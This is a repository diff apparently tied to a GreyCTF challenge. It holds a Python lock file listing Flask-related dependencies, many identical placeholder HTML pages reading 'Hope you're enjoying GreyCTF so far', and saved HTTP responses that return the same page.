sdist = { url = "https://files.pythonhosted.org/packages/60/6c/8ca2efa64cf75a977a0d7fac081354553ebe483345c734fb6b6515d96bbc/click-8.2.1.tar.gz", hash = "sha256:27c491cc05d968d271d5a1db13e3b5a184636d9d930f148c50b038f0d0646202", size = 286342, upload-time = "2025-05-20T23:19:49.832Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/85/32/10bb5764d90a8eee674e9dc6f4db6a0ab47c8c4d0d83c27f7c39ac415a4d/click-8.2.1-py3-none-any.whl", hash = "sha256:61a3265b914e850b85317d0b3109c7f8cd35a670f963866005d6ef1d5175a12b", size = 102215, upload-time = "2025-05-20T23:19:47.796Z" },
]
[[package]]
name = "colorama"
version = "0.4.6"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
]
[[package]]
name = "dist-oops"
version = "0.1.0"
source = { virtual = "." }
dependencies = [
{ name = "beautifulsoup4" },
{ name = "flask" },
]
[package.metadata]
requires-dist = [
{ name = "beautifulsoup4", specifier = ">=4.13.4" },
{ name = "flask", specifier = ">=3.1.1" },
]
[[package]]
name = "flask"
version = "3.1.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "blinker" },
{ name = "click" },
{ name = "itsdangerous" },
{ name = "jinja2" },
{ name = "markupsafe" },
{ name = "werkzeug" },
]
sdist = { url = "https://files.pythonhosted.org/packages/c0/de/e47735752347f4128bcf354e0da07ef311a78244eba9e3dc1d4a5ab21a98/flask-3.1.1.tar.gz", hash = "sha256:284c7b8f2f58cb737f0cf1c30fd7eaf0ccfcde196099d24ecede3fc2005aa59e", size = 753440, upload-time = "2025-05-13T15:01:17.447Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/3d/68/9d4508e893976286d2ead7f8f571314af6c2037af34853a30fd769c02e9d/flask-3.1.1-py3-none-any.whl", hash = "sha256:07aae2bb5eaf77993ef57e357491839f5fd9f4dc281593a81a9e4d79a24f295c", size = 103305, upload-time = "2025-05-13T15:01:15.591Z" },
]
[[package]]
name = "itsdangerous"
version = "2.2.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" },
]
[[package]]
name = "jinja2"
version = "3.1.6"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markupsafe" },
]
sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" },
]
[[package]]
name = "markupsafe"
version = "3.0.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0", size = 20537, upload-time = "2024-10-18T15:21:54.129Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/22/09/d1f21434c97fc42f09d290cbb6350d44eb12f09cc62c9476effdb33a18aa/MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf", size = 14274, upload-time = "2024-10-18T15:21:13.777Z" },
{ url = "https://files.pythonhosted.org/packages/6b/b0/18f76bba336fa5aecf79d45dcd6c806c280ec44538b3c13671d49099fdd0/MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225", size = 12348, upload-time = "2024-10-18T15:21:14.822Z" },
{ url = "https://files.pythonhosted.org/packages/e0/25/dd5c0f6ac1311e9b40f4af06c78efde0f3b5cbf02502f8ef9501294c425b/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028", size = 24149, upload-time = "2024-10-18T15:21:15.642Z" },
{ url = "https://files.pythonhosted.org/packages/f3/f0/89e7aadfb3749d0f52234a0c8c7867877876e0a20b60e2188e9850794c17/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8", size = 23118, upload-time = "2024-10-18T15:21:17.133Z" },
{ url = "https://files.pythonhosted.org/packages/d5/da/f2eeb64c723f5e3777bc081da884b414671982008c47dcc1873d81f625b6/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c", size = 22993, upload-time = "2024-10-18T15:21:18.064Z" },
{ url = "https://files.pythonhosted.org/packages/da/0e/1f32af846df486dce7c227fe0f2398dc7e2e51d4a370508281f3c1c5cddc/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557", size = 24178, upload-time = "2024-10-18T15:21:18.859Z" },
{ url = "https://files.pythonhosted.org/packages/c4/f6/bb3ca0532de8086cbff5f06d137064c8410d10779c4c127e0e47d17c0b71/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22", size = 23319, upload-time = "2024-10-18T15:21:19.671Z" },
{ url = "https://files.pythonhosted.org/packages/a2/82/8be4c96ffee03c5b4a034e60a31294daf481e12c7c43ab8e34a1453ee48b/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48", size = 23352, upload-time = "2024-10-18T15:21:20.971Z" },
{ url = "https://files.pythonhosted.org/packages/51/ae/97827349d3fcffee7e184bdf7f41cd6b88d9919c80f0263ba7acd1bbcb18/MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30", size = 15097, upload-time = "2024-10-18T15:21:22.646Z" },
{ url = "https://files.pythonhosted.org/packages/c1/80/a61f99dc3a936413c3ee4e1eecac96c0da5ed07ad56fd975f1a9da5bc630/MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87", size = 15601, upload-time = "2024-10-18T15:21:23.499Z" },
{ url = "https://files.pythonhosted.org/packages/83/0e/67eb10a7ecc77a0c2bbe2b0235765b98d164d81600746914bebada795e97/MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd", size = 14274, upload-time = "2024-10-18T15:21:24.577Z" },
{ url = "https://files.pythonhosted.org/packages/2b/6d/9409f3684d3335375d04e5f05744dfe7e9f120062c9857df4ab490a1031a/MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430", size = 12352, upload-time = "2024-10-18T15:21:25.382Z" },
{ url = "https://files.pythonhosted.org/packages/d2/f5/6eadfcd3885ea85fe2a7c128315cc1bb7241e1987443d78c8fe712d03091/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094", size = 24122, upload-time = "2024-10-18T15:21:26.199Z" },
{ url = "https://files.pythonhosted.org/packages/0c/91/96cf928db8236f1bfab6ce15ad070dfdd02ed88261c2afafd4b43575e9e9/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396", size = 23085, upload-time = "2024-10-18T15:21:27.029Z" },
{ url = "https://files.pythonhosted.org/packages/c2/cf/c9d56af24d56ea04daae7ac0940232d31d5a8354f2b457c6d856b2057d69/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79", size = 22978, upload-time = "2024-10-18T15:21:27.846Z" },
{ url = "https://files.pythonhosted.org/packages/2a/9f/8619835cd6a711d6272d62abb78c033bda638fdc54c4e7f4272cf1c0962b/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a", size = 24208, upload-time = "2024-10-18T15:21:28.744Z" },
{ url = "https://files.pythonhosted.org/packages/f9/bf/176950a1792b2cd2102b8ffeb5133e1ed984547b75db47c25a67d3359f77/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca", size = 23357, upload-time = "2024-10-18T15:21:29.545Z" },
{ url = "https://files.pythonhosted.org/packages/ce/4f/9a02c1d335caabe5c4efb90e1b6e8ee944aa245c1aaaab8e8a618987d816/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c", size = 23344, upload-time = "2024-10-18T15:21:30.366Z" },
{ url = "https://files.pythonhosted.org/packages/ee/55/c271b57db36f748f0e04a759ace9f8f759ccf22b4960c270c78a394f58be/MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1", size = 15101, upload-time = "2024-10-18T15:21:31.207Z" },
{ url = "https://files.pythonhosted.org/packages/29/88/07df22d2dd4df40aba9f3e402e6dc1b8ee86297dddbad4872bd5e7b0094f/MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f", size = 15603, upload-time = "2024-10-18T15:21:32.032Z" },
{ url = "https://files.pythonhosted.org/packages/62/6a/8b89d24db2d32d433dffcd6a8779159da109842434f1dd2f6e71f32f738c/MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c", size = 14510, upload-time = "2024-10-18T15:21:33.625Z" },
{ url = "https://files.pythonhosted.org/packages/7a/06/a10f955f70a2e5a9bf78d11a161029d278eeacbd35ef806c3fd17b13060d/MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb", size = 12486, upload-time = "2024-10-18T15:21:34.611Z" },
{ url = "https://files.pythonhosted.org/packages/34/cf/65d4a571869a1a9078198ca28f39fba5fbb910f952f9dbc5220afff9f5e6/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c", size = 25480, upload-time = "2024-10-18T15:21:35.398Z" },
{ url = "https://files.pythonhosted.org/packages/0c/e3/90e9651924c430b885468b56b3d597cabf6d72be4b24a0acd1fa0e12af67/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d", size = 23914, upload-time = "2024-10-18T15:21:36.231Z" },
{ url = "https://files.pythonhosted.org/packages/66/8c/6c7cf61f95d63bb866db39085150df1f2a5bd3335298f14a66b48e92659c/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe", size = 23796, upload-time = "2024-10-18T15:21:37.073Z" },
{ url = "https://files.pythonhosted.org/packages/bb/35/cbe9238ec3f47ac9a7c8b3df7a808e7cb50fe149dc7039f5f454b3fba218/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5", size = 25473, upload-time = "2024-10-18T15:21:37.932Z" },
{ url = "https://files.pythonhosted.org/packages/e6/32/7621a4382488aa283cc05e8984a9c219abad3bca087be9ec77e89939ded9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a", size = 24114, upload-time = "2024-10-18T15:21:39.799Z" },
{ url = "https://files.pythonhosted.org/packages/0d/80/0985960e4b89922cb5a0bac0ed39c5b96cbc1a536a99f30e8c220a996ed9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9", size = 24098, upload-time = "2024-10-18T15:21:40.813Z" },
{ url = "https://files.pythonhosted.org/packages/82/78/fedb03c7d5380df2427038ec8d973587e90561b2d90cd472ce9254cf348b/MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6", size = 15208, upload-time = "2024-10-18T15:21:41.814Z" },
{ url = "https://files.pythonhosted.org/packages/4f/65/6079a46068dfceaeabb5dcad6d674f5f5c61a6fa5673746f42a9f4c233b3/MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f", size = 15739, upload-time = "2024-10-18T15:21:42.784Z" },
]
[[package]]
name = "soupsieve"
version = "2.7"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/3f/f4/4a80cd6ef364b2e8b65b15816a843c0980f7a5a2b4dc701fc574952aa19f/soupsieve-2.7.tar.gz", hash = "sha256:ad282f9b6926286d2ead4750552c8a6142bc4c783fd66b0293547c8fe6ae126a", size = 103418, upload-time = "2025-04-20T18:50:08.518Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/e7/9c/0e6afc12c269578be5c0c1c9f4b49a8d32770a080260c333ac04cc1c832d/soupsieve-2.7-py3-none-any.whl", hash = "sha256:6e60cc5c1ffaf1cebcc12e8188320b72071e922c2e897f737cadce79ad5d30c4", size = 36677, upload-time = "2025-04-20T18:50:07.196Z" },
]
[[package]]
name = "typing-extensions"
version = "4.13.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/f6/37/23083fcd6e35492953e8d2aaaa68b860eb422b34627b13f2ce3eb6106061/typing_extensions-4.13.2.tar.gz", hash = "sha256:e6c81219bd689f51865d9e372991c540bda33a0379d5573cddb9a3a23f7caaef", size = 106967, upload-time = "2025-04-10T14:19:05.416Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/8b/54/b1ae86c0973cc6f0210b53d508ca3641fb6d0c56823f288d108bc7ab3cc8/typing_extensions-4.13.2-py3-none-any.whl", hash = "sha256:a439e7c04b49fec3e5d3e2beaa21755cadbbdc391694e28ccdd36ca4a1408f8c", size = 45806, upload-time = "2025-04-10T14:19:03.967Z" },
]
[[package]]
name = "werkzeug"
version = "3.1.3"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markupsafe" },
]
sdist = { url = "https://files.pythonhosted.org/packages/9f/69/83029f1f6300c5fb2471d621ab06f6ec6b3324685a2ce0f9777fd4a8b71e/werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746", size = 806925, upload-time = "2024-11-08T15:52:18.093Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/52/24/ab44c871b0f07f491e5d2ad12c9bd7358e527510618cb1b803a88e986db1/werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e", size = 224498, upload-time = "2024-11-08T15:52:16.132Z" },
]

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,4 @@
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:02 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:02 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:07 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:07 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:42 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:42 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:43 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:47 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:47 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:48 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:52 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
</html>

View File

@@ -0,0 +1,14 @@
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 17:20:53 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
ETag: "81-634799e5abfc4"
Accept-Ranges: bytes
Content-Length: 129
Vary: Accept-Encoding
Content-Type: text/html
<html>
<head><title>Very Serious Website</title></head>
